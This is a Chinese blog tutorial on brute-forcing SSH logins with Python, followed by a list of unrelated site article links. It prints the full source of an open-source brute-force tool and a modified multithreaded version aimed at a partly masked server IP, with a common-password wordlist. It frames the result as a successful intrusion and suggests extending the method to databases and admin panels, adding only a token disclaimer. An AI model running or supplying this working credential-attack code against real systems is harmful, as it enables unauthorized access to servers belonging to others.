手把手教你用Python进行SSH暴力破解
暴力破解属于密码破解的一种,也是最常见的破解方法之一,通过不断的尝试来达到破解的目的,所以暴力破解的本质就是一种枚举。
现在也有很多流行的破解软件,不过个人觉得装上kail其实也就啥都有了,但是今天我们不说他们,今天主题是如何使用Python来进行SSH的暴力破解。
在Github上有一个库叫sshfucker,专门用于 SSH 的暴力破解。
https://github.com/TheKingOfDuck/sshfucker
这个模块很简单,代码实现不到70行,只封装了一个py文件。
# !/usr/bin/python python
# -*- coding: utf-8 -*-
import paramiko, threading, sys, time, os
class SSHThread(threading.Thread):
def __init__(self, ip, port, timeout, dic, LogFile):
threading.Thread.__init__(self)
self.ip = ip
self.port = port
self.dict = dic
self.timeout = timeout
self.LogFile = LogFile
def run(self):
print("Start try ssh => %s" % self.ip)
username = "root"
try:
password = open(self.dict).read().split('n')
except:
print("Open dict file `%s` error" % self.dict)
exit(1)
for pwd in password:
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(self.ip, self.port, username, pwd, timeout=self.timeout)
print("nIP => %s, Login %s => %s n" % (self.ip, username, pwd))
open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s n" % (
time.asctime(time.localtime(time.time())), self.ip, self.port, username, pwd))
break
except:
print("IP => %s, Error %s => %s" % (self.ip, username, pwd))
pass
def ViolenceSSH(ip, port, timeout, dic, LogFile):
ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)
ssh_scan.start()
def main(ipFile, dic, log):
if ipFile == "-h":
help()
try:
ipText = open(ipFile).read().split('n')
for ip in ipText:
if ip != '':
time.sleep(0.5)
threading.Thread(target=ViolenceSSH, args=(ip, 22, 1, dic, log,)).start()
except:
print("Open IP list file `%s` error" % ipFile)
exit(1)
def help():
print("python ssh.scan.py :n
修改dict下的ip文件,password按需求修改,然后执行脚本。 n")
exit(1)
if __name__ == '__main__':
fpath = os.path.dirname(os.path.abspath('__file__'))
ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath + "/dict/ip"
dic = sys.argv[2] if len(sys.argv) > 2 else fpath + "/dict/password"
log = sys.argv[3] if len(sys.argv) > 3 else fpath + "/log/sshd"
try:
os.system("clear")
main(ipFile, dic, log)
except KeyboardInterrupt:
exit(1)
我们可以明显的看到,这个模块依赖于 Paramiko
Paramiko 是用于建立 SSH2 连接(客户端或服务器)的库,基于Python实现。重点是使用 SSH2 作为 SSL 的替代方法,以在 Python 脚本之间建立安全连接。支持所有主要密码和哈希方法。也支持 SFTP 客户端和服务器模式。
Paramiko 库在Python自动化运维领域很受推崇。
pip install paramiko
然后我们还可以看到这个模块实际上就是利用 Paramiko 建立了 ssh 的客户端连接,批量导入文件,采用多线程的方式来进行暴力破解,思路很清晰。
我们修改代码实现如下
import sys
import paramiko
import threading
from concurrent.futures import ThreadPoolExecutor
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
is_find=False
def SshCheck(password):
try:
ssh.connect("119.23.xx.xx", 22, 'root', password, timeout=1.5)
stdin, stdout, stderr = ssh.exec_command('df')
result = stdout.read()
if result:
sys.stdout.write('[OK]' + 't' + password + 'n')
global is_find
is_find = True
exit()
except Exception as e:
print(e, "失败!!!")
finally:
ssh.close()
filedata = open("pwds.txt", "r")
def run():
pool = ThreadPoolExecutor(3)
while 1:
global is_find
if is_find:
break
line = filedata.readline()
if not line:
break
line = line.strip("n")
pool.submit(SshCheck,line)
run()
采用了协程并发来进行ssh连接,如果成功破解我们就直接退出。
这里的pwds.txt 文件用于存放破解密码。
password
123456
12345678
1234
qwerty
12345
dragon
pussy
baseball
football
letmein
monkey
696969
abc123
mustang
michael
shadow
master
jennifer
111111
2000
jordan
...
...
python sshfucker.py
回车键一按,叮叮,收到服务器被入侵的短信!!!
你也可以用你的云服务器或者自己搭建的服务器进行测试,只要 ssh验证的ip,端口和密码正确,即破解成功。
破解一直爽,一直破解一直爽,利用Python不仅可以对ssh进行暴力破解,数据库,网站后台管理也是同样的道理,只不过使用的库不同而已。
本文只是出于对Python的学习研究,请勿用于非法用途,小心被请喝茶哟!!
------------------- End -------------------
- Andrew Ng机器学习课程笔记--week4(神经网络)
- javascript:FF/Chrome 与 IE 动态加载元素的区别
- 腾讯云发布企业级微服务中间件TSF,助企业构建亿级互联网应用架构
- java学习:字符串比较“==”与“equals”的差异及与c#的区别
- 纯C语言程序员写的编程新手入门基础小游戏之最炫酷推箱子
- Oracle BIEE (Business Intelligence) 11g 11.1.1.6.0 学习(2)RPD资料档案库创建
- Oracle BIEE (Business Intelligence) 11g 11.1.1.6.0 学习(3)创建一个简单的分析
- 请查收!这里有一封信鸽传给您的信
- Oracle BIEE (Business Intelligence) 11g 11.1.1.6.0 学习(4)创建多维钻取分析
- silverlight:RadMaskedTextBox设置MaskType="Numeric"及Mask="n"时的一个bug
- 微信里面最神秘的功能,你知道吗?
- 以大数据之名,变身!——In big data we trust
- 90%家长都不知道关于少儿编程的这些疑题!
- 常用SQL语句和语法汇总
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法